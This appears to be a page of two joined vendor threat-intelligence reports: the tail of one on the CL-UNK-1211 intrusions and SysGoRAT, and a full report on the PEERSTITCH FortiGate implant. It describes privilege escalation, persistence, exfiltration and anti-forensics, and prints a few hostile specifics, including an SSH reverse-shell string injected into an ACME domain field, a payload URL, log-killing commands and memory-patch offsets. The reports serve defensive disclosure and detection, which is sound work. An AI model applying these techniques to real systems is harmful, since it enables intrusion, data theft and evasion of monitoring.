A detailed breakdown of attack chain in AgentiX, outlining executive summary, chronological breakdown of events, and phases with specific dates and times. Key terms include "Reverse Shell Execution," "Server Pivot," and "Exfiltrated Data." Dates range from December 10 to December 12, 2025. Steps involve compromised systems, binary executions, and privilege escalations.
Figure 16. Breakdown of attack chain, as shown in AgentiX.
A three-step remediation action plan by AgentiX for enhancing server security. It also briefly mentions system rebuild and hardening processes, such as software configuration, updates, and patching. There are references to typical web files and directories.
Figure 17. Immediate remediation steps, suggested by AgentiX.

Palo Alto Networks customers are better protected from the threats discussed above through the following products and services:

Advanced WildFire

The Advanced WildFire machine-learning models, analysis techniques and detection rules have been reviewed and updated in light of the indicators shared in this research.

Advanced URL Filtering and Advanced DNS Security

Advanced URL Filtering, Advanced DNS Security and Advanced IP Defense are designed to identify known domains and URLs associated with this activity as malicious.

Cortex

Cortex XDR Analytics Engine enhances behavioral detection for Linux through specialized mechanisms:

  • Uncommon attempt to clear shell history: This detector identifies attempts to manipulate or erase shell history files, highlighting defense evasion activity as part of the EDR Linux Evasion suite to reveal uncommon attempts to evade defenses, impair security controls, and erase traces of malicious activity. Figure 18 displays an “Uncommon attempt to clear shell history” alert that CL-UNK-1211 activity triggered.
Screenshot of Cortex XDR dashboard showing a blocked attempt to clear shell history. It includes process details along with circular icons. There's a highlighted command for mass log deletion, and sections labeled "Severity," "Action," and "Recommended.
Figure 18. Cortex XDR alert for Uncommon attempt to clear shell history during a CL-UNK-1211 attack.

Cortex XDR and XSIAM are designed to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints.

Cortex Cloud is designed to help protect cloud posture and runtime operations against identity-driven threats by pairing static permission baselines with deep behavioral context. By embedding the functional identity baselines discussed in this research into our detection engine for both cloud VM compute and serverless agents, Cortex Cloud adds a vital layer of operational context, enabling security teams to filter out noisy false positives and decisively catch threat actors attempting to masquerade, alter configurations, or execute anomalous operations in the environment.

The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-enabled risks.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107
  • South Korea: +82.080.467.8774

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

SHA-256 Hashes

CVE-2025-55182 (React2Shell) vulnerability scanner

  • 2bf7992e6260c1a98c709fa98ec766fb9f27692f338b30b43ac821b824fd849e
  • 27d799ceadb570bfca890d4c2572314afe57eecf14083d30409da15afdfc4704
  • d73186cea6cf2cf3d48c09139a9d15521365aab675787b4e7a6f81767331c9fd
  • 9e45830171eb607cf2c0fc80f5cc9cc3db39bb937032136990383a595f6f151e

Custom shell backdoor for privilege escalation

  • c527b94e3d21824a674face4cd9d862e536b60ccbf54573839e3360f99188343

GSocket reverse shell

  • d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa

CVE-2021-4034 (PwnKit binary)

  • 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879

PHP web shells

  • 1505a3a727f8899b2ad343519f7bf9c438b8b802f8d6b854f5db3b52f857c76a
  • 76c58fad4f70cf277a15a499b9a2151ac60e7a6b5c7a9ab684843dcc19f0d0a5
  • b1e82c6b0caea177e8bb71ad826867f509c65f0a43a651b50253e7c726566eac

IP Addresses

  • 45.88.188[.]140
  • 198.23.185[.]234
  • 138.68.244[.]146
  • 185.21.136[.]6
  • 72.61.89[.]179
  • 104.194.158[.]65
  • 109.224.53[.]140
  • 162.243.175[.]162
  • 154.93.37[.]228
  • 141.164.58[.]87
  • 88.80.150[.]232
  • 88.119.167[.]57
  • 173.212.247[.]23
  • 104.248.131[.]53
  • 147.182.224[.]216
  • 93.93.112[.]57
  • 192.210.183[.]17

Domains

  • magento[.]ink
  • solidmonpe[.]com
  • wibu-bau-bawang[.]online
  • beraskencur[.]site

Appendix A: SysGoRAT Sub-Actions

First observed as sys-control-client, SysGoRAT is a custom RAT developed by the attackers. The SysGoRAT malware had seven available command types, each with additional control sub-actions.

Control Sub-Actions

When the C2 server sends a control message, SysGoRAT triggers one of four specific operational actions.

Action Behavior
shell_start Spawns an interactive /bin/bash process
screenshot Captures the current display as an image and returns it to the C2
download Reads a specified file, optionally compresses it with gzip, and exfiltrates it to the C2
persist Installs persistence using one of six supported methods (see next table)

Table 2. SysGoRAT control sub-actions.

Persist Sub-Actions

The persist action, triggered by the malware’s control message, supports six different installation methods for cross-platform environments. All methods use artifact names designed to masquerade as legitimate software.

Method Operating System Behavior
systemd Linux The malware copies itself to /usr/local/bin/; writes a unit (service) file to /etc/systemd/system/sys-update.service; reloads and enables the service
cron Linux Creates a crontab entry with a five-minute execution interval
registry Windows The malware copies itself to %APPDATA%\Onedrive Update\Updater.exe and adds a Run key to HKCU
schtasks Windows Creates a daily scheduled task named Onedrive
complex Linux/Windows Automatically selects the optimal method based on the detected OS without checking user permissions
auto Linux/Windows Automatically selects the optimal method based on the detected OS and user permissions

Table 3. SysGoRAT persist sub-actions.

Appendix B: Analysis of Additional CL-UNK-1211 TTPs

The following section provides an analysis of additional TTPs associated with the CL-UNK-1211 activity cluster. The TTPs described in this appendix are more common in the broader threat landscape than those discussed previously.

​​Privilege Escalation Using Open Source Tools

After gaining access to Linux servers, the attackers escalated their privileges. They started by deploying and executing an open-source tool called LinPEAS to check for local privilege escalation paths. Next, they used another open-source tool — PwnKit, a self-contained exploit for CVE-2021-4034 — in an attempt to gain root privileges on the system.

Once the attackers obtained root privileges, they deployed various binaries with the goal of maintaining root access:

  • A renamed legitimate Python 3 interpreter:
    The attackers used the Python 3 interpreter and renamed it to .libpython-helper to execute shell commands with high privileges. They achieved this by using the Python commands os.setuid(0) and os.setgid(0), which set root privileges for the shell.Following is an example of a command used:
  • Custom SUID root shell: This backdoor is dropped with the name .libsystemd-helper, and elevates itself to root privileges. It executes arbitrary shell commands via /bin/sh by running setuid with an argument of zero, followed by setgid with an argument of zero.
  • A renamed legitimate /bin/bash binary: The attackers wrote to disk a file named .tourch and modified its permissions using the command chmod u+s, allowing any user to execute commands as the file owner — which in this case was root. Because .tourch is actually the /bin/bash binary, this allowed the attackers to execute bash commands as root.

Reconnaissance

The attackers leveraged a variety of reconnaissance techniques to identify and map high-value servers across compromised networks.

Network Scanning and Database Enumeration Using PHP Scripts

The attackers used multiple PHP scripts to conduct reconnaissance of the target networks. The scripts were used to scan the network for SQL servers, enumerate databases, and enumerate various domain artifacts. These artifacts included users, computers and open shares. Figure 19 shows one of the scripts the attackers used to scan for SQL servers.

Screenshot of a code snippet displayed on a gray background. It includes commands for scanning SQL servers using PowerShell.
Figure 19. Malicious PHP script used to scan for SQL servers.

CVE-2025-55182 (React2Shell) Vulnerability Scanner

The attackers deployed a custom vulnerability scanner written in Go that scans for servers vulnerable to CVE-2025-55182 (React2Shell). Figure 20 shows the “Help” output of the scanner.

Screenshot of a command-line tool's usage instructions. It includes options like specifying a target list file, setting concurrent workers, indicating HTTP or HTTPS protocols, attempting WAF bypass, exploiting vulnerable targets, and running custom exploit commands. Additional options include avoiding WAF, using Vercel WAF bypass, digest bypass, and targeting Windows systems.
Figure 20. The “Help” output of the CVE-2025-55182 (React2Shell) vulnerability scanner.

Propagating in the Environment

To bypass internal firewalls and extend their access beyond the initially compromised web servers, the attackers employed a combination of database features, custom malware and open-source proxy tools. These methods enabled the attackers to bypass firewalls, route traffic into the network and execute commands across multiple servers.

Throughout the operation, the attackers used a web shell to deploy Base64-encoded PHP scripts. They started by enabling command execution on an internal MSSQL server using XP_CMDSHELL:

The attackers identified the network segment they wanted to reach, and then created a double-hop execution chain to reach another segment within the network. This involved routing commands from the compromised web server through an initial MSSQL server to reach a secondary SQL server on a different subnet. They verified the routing and started executing OS-level commands on the second host. Following is an observed instance of a whoami command execution through a double-hop execution chain:

SSH for Lateral Movement

The attackers also used the sshpass command with hard-coded administrative credentials to enable lateral movement across the internal network. The following command structure was used to pivot across internal Secure Shell (SSH) targets:

After establishing a successful SSH session on a target, the attackers executed follow-up commands to further compromise the environment. Observed post-pivot commands included:

  • Running the id command to verify user context and access levels
  • Reading the /etc/shadow file to steal password hashes
  • Using find to search for wp-config.php files containing database passwords
  • Listing home directories and .git repositories to map the server’s contents
  • Executing custom PHP scripts over SSH

SSH-Based Persistency

The attackers achieved SSH-based persistence by injecting an SSH public key into the compromised user’s authorized_keys file. This establishes passwordless remote shell access. Following is the command sequence the attackers executed to install the SSH backdoor:

  1. Ensure the hidden .ssh directory exists
  2. Restrict directory access only to the owner (using chmod 700)
  3. Append the malicious public key to the authorized_keys file
  4. Set strict permissions on the authorized_keys file

Figure 21 shows the observed command.

Screenshot of a code snippet displayed on a dark background, demonstrating steps to set up SSH keys. Commands include creating a directory, modifying permissions using `chmod`, and echoing a public key into a file. Usernames and specific keys are redacted for privacy.
Figure 21. SSH backdoor creation.

Additional Proxy Tools

The attackers deployed a variety of tunneling and proxy tools, while employing multiple techniques to maintain persistence and evade detection:

  • revsocks: The attackers deployed the open-source tool revsocks, a reverse SOCKS5 tunneling tool with SSL/TLS and proxy support.
  • pysoxy: The tool set also included pysoxy, an open-source Python SOCKS proxy script used to route traffic.
  • GSocket and gs-netcat: The attackers misused Global Socket, a framework designed to solve NAT and firewall traversal problems. They deployed the framework’s binary, gs-netcat, which forces the internal host to establish an outbound connection to the public relay server (gsocket[.]io).
    This binary was stored in /dev/shm/.gs-10085/ and executed under the disguised process name [kcached] (mimicking a kernel cache thread), alongside the binary gs-dbus (mimicking the D-Bus system). Execution parameters were passed via the environment variable (GSOCKET_ARGS) to hide them from process monitoring, and the spawned sessions were configured with HISTFILE=/dev/null to prevent shell command history from being logged to disk.

Additional Data Exfiltration Attempts

The attackers used a combination of methods to extract sensitive data. We observed how they dumped entire database contents into compressed local archives before attempting to exfiltrate them to their C2 infrastructure. They also misused legitimate file-hosting platforms to blend the outgoing data with standard web traffic.

Exfiltration attempts began with attackers using the echo command to print small data samples directly to the terminal, using TOP clauses to limit the output. They subsequently attempted a structured dump, writing four tables, each capped at 100 rows, to a local SQLite database named dump.sqlite. Figure 22 shows the command sampling 100 results from four tables into /tmp/dump.sqlite.

Screenshot of a cde snippet showing a SQL database operation. The code connects to an SQLite database and iterates over an array of table names: TABLE1, TABLE2, TABLE3, TABLE4. It performs an SQL SELECT command to fetch the top 100 results from each table. Key areas of the code are highlighted.
Figure 22. Attacker sampling 100 results from four tables.

After examining a small sample of archived data, the attackers proceeded to full database dumps. They targeted large databases and wrote the output to local CSV files. Figure 23 shows the next phase, dumping all data from the four tables into a local file.

Screenshot of PHP code illustrating a process to dump and save data from four tables named TABLE1, TABLE2, TABLE3, and TABLE4. The data is stored in CSV files as shown in the highlighted portions.
Figure 23. The full script used by the attacker to dump four tables.

Following that, the attackers compressed the dumps and attempted to exfiltrate them to a C2 server using the netcat command:

The attackers tried to disguise their exfiltration activity as standard HTTPS web traffic by misusing legitimate file-hosting platforms. They used the curl command-line utility without establishing a dedicated C2 connection, and tried to upload the data to legitimate file-hosting platforms, such as:

  • transfer[.]sh
  • bashupload[.]com
  • filebin[.]net

Another script shows that the attackers searched a server for WordPress configuration files (wp-config.php) and extracted hard-coded database credentials in order to upload the output to the catbox[.]moe API. Figure 24 shows the search and exfiltration script.

The image shows a command-line interface with a script for finding and exfiltrating WodPress config files. It highlights steps like defining database information and using an API interaction.
Figure 24. Command used to search for WordPress config files and exfiltrate them via the catbox [.]moe API.

Unit 42 Uncovers PEERSTITCH, a Stealthy FortiGate Implant

Executive Summary

Unit 42 investigated a multi-stage network intrusion against a telecommunications organization that occurred in September 2024, which we are tracking as cluster CL-STA-0954 (aka UNC5820). The attackers behind CL-STA-0954 achieved an initial compromise by exploiting CVE-2024-47575 against a centralized FortiManager appliance.

From that single appliance, our observations are that the attackers exfiltrated an archive containing running configurations, cryptographic material and database files containing information about more than 500 managed FortiGate firewalls. Those firewalls protected the target's own infrastructure and the networks of its clients.

Following the initial compromise, the attackers behind CL-STA-0954 demonstrated a complex level of tradecraft. Aspects of the post-exploitation activity overlap with intrusions attributed to suspected nation-state actors. Armed with the stolen information, the attackers:

  • Maintained long-term access
  • Intercepted network traffic
  • Established VPN sessions
  • Deployed backdoors
  • Exploited a separate privilege-escalation vulnerability

The attackers exploited another vulnerability, CVE-2025-61624, via FortiOS auto-script path traversal. This exploit facilitated the deployment of PEERSTITCH, a novel, memory-resident ARM64 malware.

PEERSTITCH leaves no persistent binary on disk, opens no listening ports and initiates no outbound network connections. Instead, it communicates through traffic generated by legitimate processes on the infected host, which makes the malware resistant to conventional endpoint and network detection.

The attackers also impersonated the FortiManager platform to pull from managed firewalls of other hosts in the targeted network.

Palo Alto Networks customers are better protected from this activity through the following products and services:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Vulnerability, Privilege Escalation, Linux

Overview of the Intrusion

We investigated a prolonged network intrusion against a telecommunications managed service provider. The attackers demonstrated proficiency in Fortinet appliance architecture, FortiOS internals and FortiOS management protocols.

Our investigation spanned the provider's own environment. We did not examine the client networks whose firewalls the provider managed. The exposure described in this report is of configuration and credential material rather than confirmed intrusion into those networks. Figure 1 below shows a flowchart illustrating an overview of the intrusion.

A flowchart illustrating an overview of the intrusion with color-coded sections and arrows indicating the sequence of actions.
Figure 1. Overview of the intrusion.

Initial Access and Network Configuration Theft (CVE-2024-47575)

During the initial phase of the intrusion, the attackers exploited CVE-2024-47575 (referred to by external parties as FortiJump). The vulnerability allows an unauthenticated remote attacker to execute arbitrary commands via crafted requests to the FMG-Access (TCP port 541) management channel.

During the exploitation, the attackers registered a rogue Virtual FortiGate appliance named localhost (serial number FMG-VMTM23017412) to the central FortiManager instance, originating from external attacker infrastructure (45.32.41[.]202, later modified to 198.199.122[.]22).

Immediately following device registration, the attacker generated a configuration archive named .tm in the FortiManager file system, which they exfiltrated shortly thereafter. Analysis of this artifact revealed:

  • The FortiManager appliance's own serial number and its management relationships to every enrolled device
  • Complete running configuration files for more than 500 managed FortiGate firewalls across internal infrastructure and client networks
  • Central management SQLite databases: global.db (containing administrative domains, global objects and policy packages) and revinfo.db (containing device revision metadata)
  • A flat text inventory listing more than 500 FortiGate serial numbers alongside their respective public IP addresses
  • Internal network topology maps, routing tables and interface configurations
  • Ciphertext administrative, local and SSL/VPN credentials
  • Encoded cryptographic trust material, including public certificates and private keys

Reconnaissance and Targeted Traffic Sniffing

Following an extended dwell period, the attackers pivoted to active network reconnaissance. They used the compromised FortiManager device to push unauthorized sniffer configurations to multiple downstream managed FortiGate firewalls.

The packet captures targeted unencrypted HTTP traffic and 11 specific services over different TCP ports to intercept sensitive communications and map network perimeters. Table 1 below shows the characteristics of these services.

Port Service Identifier Target Protocol Purpose Assessed Intent
3696 Telnet Com Port Control Remote administration Cleartext credential interception
3697 nw-license License management Internal communications capture
3698 Sagectlpanel Control panel Cleartext credential interception
3699 kpn-icw Telecom service Internal communications capture
3700 lrs-paging Paging and telemetry Internal communications capture
3701 netcelera Network acceleration Internal network topology mapping
3702 ws-discovery Web services discovery Active host discovery
3703 adobeserver-3 Application backend Internal service telemetry
3704 adobeserver-4 Application backend Internal service telemetry
3705 adobeserver-5 Application backend Internal service telemetry
3706 rt-event Real-time events Event stream monitoring

Table 1. Services the attackers used to intercept sensitive communications and map network perimeters.

In a subsequent phase of reconnaissance, attackers deployed additional packet-capture rules to core perimeter firewalls targeting:

  • UDP port 69 (TFTP): File, communications, firmware and configuration capture
  • UDP ports 1812 and 1813 (RADIUS and RADIUS-Accounting): Network authentication sniffing
  • TCP port 389 (LDAP): Active Directory query interception and directory enumeration

Credential Decryption and Initial Re-Entry

The exfiltrated FortiGate configurations contained sensitive credentials stored as reversible ciphertext. We confirmed that the credentials were recoverable by successfully brute-forcing administrative and SSL/VPN passwords from the exfiltrated configuration files.

Using legitimate credentials, the attackers established unauthorized FortiGate SSL/VPN sessions to perimeter firewalls from known external staging infrastructure (23.240.77[.]233 and 47.18.167[.]159). These sessions granted the attackers authenticated access into internal network-management segments.

Privilege Escalation: CVE-2025-61624

During the intrusion, the attackers exploited CVE-2025-61624 to escalate from FortiOS administrative access to root on the underlying firewall operating system. A FortiOS administrator, including a super_admin, operates within a restricted management command line with no shell access and no direct control over the appliance file system or its running processes. The daemons that implement FortiOS run as root beneath that interface.

The vulnerability allows an authenticated administrative account to read and write arbitrary files as root via path traversal in the FortiOS CLI system.auto-script engine. The auto-script object name is not sanitized, allowing a name containing traversal sequences to place the script body outside the intended directory, at any file system location. The script executes with the privileges of the auto-script engine.

The sanitized event below highlights the creation of the traversal object ../../../../setup used to drop the PEERSTITCH initial-stage loader shown below in Figure 2.

Screenshot of a code snippet showing a script for downloading and executing a package using Node.js. It involves child process and file system modules for HTTP requests and file handling.
Figure 2. Fortinet log capturing exploitation of CVE-2025-61624 to run the PEERSTITCH loader.

Technical Analysis of the PEERSTITCH Implant

PEERSTITCH is a 64-bit Linux ARM64 executable written in C and statically linked against glibc. It acts as a one-shot process memory patching injector targeting two core FortiOS daemons:

  • /bin/miglogd: The central system and traffic logging daemon
  • /bin/iked: The IKE/IPsec VPN service daemon handling cryptographic negotiation
A flowchart illustrating a six-step process in PEERSTITCH activity.
Figure 3. Flowchart of PEERSTITCH activity.

Figure 3 shows a flow chart of PEERSTITCH activity, which we will examine in greater detail.

Delivery and Staging Chain

1). Downloader initialization: Exploiting CVE-2025-61624, the attackers pushed ../../../../setup to a select number of firewalls

2). Payload retrieval: The script downloaded five files from hxxp[:]//23.240.77[.]233:8085/ into /data2/template/:

  • pM.js: Environment preparation script (self-deleting)
  • a.js (saved as index.js): Emscripten JavaScript runtime module
  • a.wasm (saved as index.wasm): Compiled WebAssembly binary module
  • b.js (saved as ipssem.js): Deployment orchestrator script
  • dd (saved as lldprx): Native ARM64 ELF binary injector (PEERSTITCH core)

3). Execution: Following an execution delay, ipssem.js launched lldprx with arguments lldprx!index.js!index.wasm!ipssem.js!lldprx!yyyy!pM.js

Injector Execution and Process Parasitization

The lldprx binary performs a single-pass execution sequence:

  1. Process discovery: Iterates through /proc/, parses /proc/<pid>/cmdline and locates the process identifiers (PIDs) for /bin/miglogd and /bin/iked
  2. Memory layout enumeration: Reads /proc/<pid>/maps to extract the base addresses and memory boundaries of both target daemons
  3. Process attachment: Attaches to both running processes using ptrace(PTRACE_SEIZE, pid) and halts execution via PTRACE_INTERRUPT
  4. Register state capture: Calls ptrace(PTRACE_GETREGSET, pid) to snapshot all ARM64 general-purpose registers (X0 through X30), the stack pointer (SP) and program counter (PC)
  5. Dynamic shellcode construction: Generates an ARM64 bootstrap stub dynamically. The bootstrap executes an mmap syscall (X8 = 0xDE) requesting 0x4000 (16,384 bytes) of PROT_READ | PROT_WRITE | PROT_EXEC (RWX) memory mapped as MAP_PRIVATE | MAP_ANONYMOUS
  6. Payload injection: Writes a 1,344-byte injection payload into the newly allocated RWX buffer via /proc/<pid>/mem

Covert IPC and Cross-Daemon Memory Sharing

Instead of using network sockets or disk files, PEERSTITCH creates a covert, memory-resident communication bridge between /bin/miglogd and /bin/iked.

Figure 4 shows a flowchart for PEERSTITCH network traffic.

A diagram showing network traffic flow through FortiGate Firewall. It features two processes: "iked" for VPN service handling normal VPN protocols and "miglogd" for logging service handling normal log protocols. Both have injected hooks with functions for passive scanning, tag matching, and specific actions for certain tags, followed by resuming their respective services.
Figure 4. Flowchart for PEERSTITCH network traffic.
  • Passive traffic monitoring: Inside both daemons, the hook code inspects data already passing through the process without redirecting packets. It evaluates string patterns using strstr() for two specific markers:
    • TCP port marker: 8550 (embedded within traffic data, not a listening port)
    • IP address marker: 169.254.0.1 (link-local identifier used for pattern matching)
  • Tag extraction and buffering: When a marker is identified, the hook extracts an associated session token or identifier (up to 31 bytes) and writes it into a 16-slot circular ring buffer at offset +0x0F0
  • Cross-process write: The hook iterates through its forwarding table at offset +0x400 (populated with the counterpart daemon's PID and buffer base address). It invokes open(), lseek() and write() on /proc/<counterpart_pid>/mem, writing the extracted tag directly into the other daemon's memory.
  • Conditional execution branching: When /bin/iked processes subsequent VPN sessions, its hook inspects its injection buffer. If a corresponding tag exists, the hook takes an alternate return branch (ADRP return path), bypassing default FortiOS security validations.

Memory Patching and Branch Path Modification

To suppress tamper detection and alter default daemon routines, PEERSTITCH applies direct NOP patches (0xAA0003E0, corresponding to MOV X0, X0 on ARM64) to three static offsets within target process memory:

  • base + 0x106F7B8
  • base + 0x1072E20
  • base + 0x109A570

A 20-byte trampoline patch is written to base + 0x135102C to redirect standard execution into the allocated RWX hook buffer. Figure 5 shows a visual memory layout of the 16 KB buffer used by the ARM64 PEERSTITCH payload.

A diagram titled "PEERSTITCH 16KB Buffer Memory Map" depicting a flowchart with three columns, each listing memory address ranges and their corresponding data types.
Figure 5. A visual memory layout of the 16 KB buffer utilized by the ARM64 PEERSTITCH payload.

Apache mod_md ACME Reverse Shell Command and Control

Alongside PEERSTITCH, the attackers established a command and control channel by weaponizing the native Apache mod_md (Managing Domains) module on FortiGate firewalls. This module uses the Automated Certificate Management Environment (ACME) protocol.

The attackers pushed an auto-script object to create ../../tmp/apache2/conf/md-acme.conf, as shown below in Figure 6.

Screenshot of a configuration script written in a command-line environment. The script appears to involve Apache server settings, with commands related to modules and certificates. Some content, such as an IP address, is redacted for privacy.
Figure 6. Fortinet log capturing exploitation of CVE-2025-61624 to run md-acme.conf.

Weaponization Mechanics

1). Rogue certificate authority initialization: The account.json state file demonstrates the initial registration with the attacker's ACME server, explicitly routing ACME directory requests to external infrastructure

Screenshot of a JSON data structure related to user account and status information. It includes details like "status," "contact," "registration," and URLs with an IP address.
Figure 7. Rouge ACME configuration file account.json.

2). Challenge orchestration: The order.json file outlines the pending certificate order, mapping the authorization and finalization URLs directly to the attacker's server

Screenshot of a JSON code snippet showing an order status as "pending" with URLs for authorizations and finalization.
Figure 8. Rouge ACME configuration file order.json.

3). Command execution via DNS-01 challenge: MDChallengeDns01 was mapped directly to /bin/node. When Apache initiates a certificate validation challenge, it executes Node.js with parameters retrieved from the remote ACME server. The job.json debug log reveals how the attackers exploited this by injecting shell commands (kali@23.240.77[.]233:8084:b -F /tmp/upfile/ssh_config -i) directly into the domain name field of the challenge request, initiating an SSH-based reverse shell.

Screenshot of a JSON error message. The message includes details about a domain with a status code of 20014, indicating an internal error. It advises checking the log for errors related to a domain configuration in a specific file path.
Figure 9. Rouge ACME debug logs.

4). Continuous polling loop: Setting MDRenewMode always forced the Apache daemon to continuously trigger these malicious renewal challenges. Because the DNS-01 challenge was mapped to /bin/node, this polling cycle ensured the continuous re-execution of the injected payload, establishing a persistent outbound reverse-shell communication channel.

Management Impersonation and FortiGate to FortiManager Chained Exploitation

FortiGate to FortiManager (FGFM) communications occur over TCP port 541 using cryptographic trust material requested and validated against appliance serial numbers. The archive exfiltrated during the initial FortiJump compromise contained this material, along with the serial numbers and management relationships of every downstream device.

Following FGFM interactions from external infrastructure over TCP port 541, an administrative account named FortiGateCloud downloaded complete running configurations from multiple managed firewalls. The victim organization operated no FortiManager Cloud tenant, and no such account was provisioned on the affected devices.

We assess with a medium degree of confidence that the attackers issued these commands by impersonating the management platform over FGFM. Two paths were available to them, and the evidence does not distinguish between them:

  • Exploitation of CVE-2024-26009 to bypass FGFM authentication using the FortiManager's serial number
  • Direct reuse of the exfiltrated trust material to authenticate as the legitimate FortiManager

Asserting a management identity requires terminating the authentic FortiManager's session. It is possible that the attackers forced this session termination using CVE-2024-26008, consistent with the intermittent tunnel management interface drops described in the Anti-Forensics and Defense Evasion section below.

We are aware of other vulnerabilities in which the FortiGateCloud account has been misused to perform unauthorized actions, including:

Each of these vulnerabilities requires the device to be enrolled in FortiGate Cloud/FortiCloud SSO, and the affected firewalls held no such enrollment. We exclude these vulnerabilities from scope for this intrusion. We note that the observed activity reused only the account name and none of the exploitation artifacts associated with those issues.

Anti-Forensics and Defense Evasion

The attackers took extensive measures to eliminate forensic artifacts:

  • Service termination: Executed killall -9 miglogd and killall -9 syslogd to halt local and remote syslog generation prior to executing malicious auto-scripts
  • Crash log clearing: Issued FortiOS diagnostic command diagnose debug crashlog clear to wipe segmentation fault logs generated during initial memory injection attempts
  • Configuration rollback: Automatically deleted rogue administrator accounts, rogue VPN groups and auto-script objects (../../../../setup) shortly after execution
  • Decoy artifact creation: Overwrote /tmp/apache2/conf/md-acme.conf with a common string found in this file (#0 certs managed by ACME\n\n\n) to mask reverse-shell configuration files
  • Process memory self-deletion: lldprx unlinked its own binary from disk and scanned /proc/ to terminate the staging setup process before exiting
  • Logging telemetry disruption: Log telemetry showed intermittent drops across the tunnel management interface during periods of malicious activity. We assess with medium confidence that the attackers deliberately induced this degradation to suppress real-time telemetry to central management consoles. This is consistent with the previously described pattern of telemetry suppression, including terminating miglogd and syslogd, clearing crash logs, and rolling back configuration objects. It’s possible that the attackers forced the disconnects using CVE-2024-26008 over TCP port 541. Available logs do not capture the triggered traffic, so we could not confirm the mechanism.

Detection Opportunities and Forensic Guidance

Because PEERSTITCH runs entirely in memory without creating persistent files or listening ports, detection requires specialized hunting techniques that Table 2 below documents.

Detection Surface Artifact/Indicator Technical Hunting Guidance
Volatile memory 16 KB RWX mmap region Inspect memory maps (/proc/<pid>/maps) of /bin/miglogd and /bin/iked for anonymous 16,384-byte regions with rwxp permissions
Daemon integrity NOP text patches Verify text segment integrity at base+0x106F7B8, base+0x1072E20 and base+0x109A570 for 0xAA0003E0 (MOV X0, X0)
System calls Cross-PID /proc/mem access Audit kernel syscall telemetry for open() and write() operations targeting /proc/<pid>/mem between miglogd and iked
Diagnostic logs Crashlog segmentation faults Query diagnose debug crashlog read for Signal 11 (Segmentation Fault) crashes involving miglogd, iked or syslogd
Configuration audit Auto-script traversal objects Inspect FortiOS configuration revisions for system.auto-script objects containing path traversal strings (../../)

Table 2. PEERSTITCH's specialized hunting techniques.

Conclusion

This intrusion highlights a growing threat, the weaponization of centralized edge management ecosystems to compromise downstream networks. One compromised appliance yielded the cryptographic keys, credentials and network topology for more than 500 firewalls, including devices protecting client organizations.

The discovery of the PEERSTITCH implant demonstrates the increasing technical maturity of edge-device malware. By operating as a one-shot injector, avoiding persistent disk artifacts and building a covert inter-process communication bridge inside process memory, the attackers achieved sustained persistence while evading traditional monitoring.

For organizations that manage infrastructure on behalf of others, the management platform is the highest-value target on the network. Compromising the management platform is not contained by the boundary of the organization that owns it. That compromise also does not end when the platform is patched.

The cryptographic trust material governing the platform's relationship with every managed device leaves with the attacker and remains valid until it is rotated. Defenders must treat edge management interfaces with the highest level of zero trust isolation. They must also treat the credentials and certificates those interfaces hold as compromised the moment the platform is.

Palo Alto Networks customers are better protected from the threats discussed above through the following products and services:

  • The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research.
  • Advanced URL Filtering, Advanced DNS Security and Advanced IP Defense are designed to identify known domains and URLs associated with this activity as malicious.
  • Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block CVE-2024-47575 with best practices via the following Threat Prevention signatures 95788, 96788.
  • Cortex Xpanse is designed to identify exposed devices and applications on the public internet and escalate these findings to defenders.
  • Device Security is designed to proactively protect the specialized device attack surface of operational environments, providing deep visibility into industrial protocols, actionable risk insights, and adaptive security enforcement across all OT and IoT assets.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107
  • South Korea: +82.080.467.8774

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Table 3 lists the filenames and SHA-256 hashes associated with PEERSTITCH activity.

Type Value Context
SHA-256 hash b9fb0b27ddd59b58d3ae53c7227298a3e0de1e6f868b9429ae21533bb9cd1e70 ELF 64-bit ARM64 executable; PEERSTITCH core ptrace injector
SHA-256 hash 829b1cd270b30565739a478441833f49f10a49bd06f0d18cc96c8ae4a0431f11 PEERSTITCH ARM64 mmap shellcode bootstrap header (45 bytes)
SHA-256 hash bd064244dad748cf2a44074bee56f5bfab4a2b18ee944b75d1b3febd4c1fe02a PEERSTITCH ARM64 core hook injection data block (1,280 bytes)
SHA-256 hash 9c4c4436ff5cdf0d6d68f5108031cbf3708a095cde4ef8c09316af7a7110437e PEERSTITCH staging and preparation script
SHA-256 hash fc1b10c58057ef9f1f9a1e2a3d4a1c89f43b0ead451398c70ed7a6e0312b36ee PEERSTITCH Node.js deployment orchestrator
SHA-256 hash f84eea718526706afdf2d1a2774fab76ecb11c18fb61995a37be8249c5e379ab PEERSTITCH emscripten JavaScript runtime component
SHA-256 hash b7ae166fd49a7ecfe6322a80b8aa56d6aa0825d8f5d106dab2e4fb7d14ce15a8 PEERSTITCH emscripten WebAssembly binary module
SHA-256 hash 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92 PEERSTITCH runtime shared secret key artifact (hard-coded string “123456”)
Filename lldprx PEERSTITCH malware
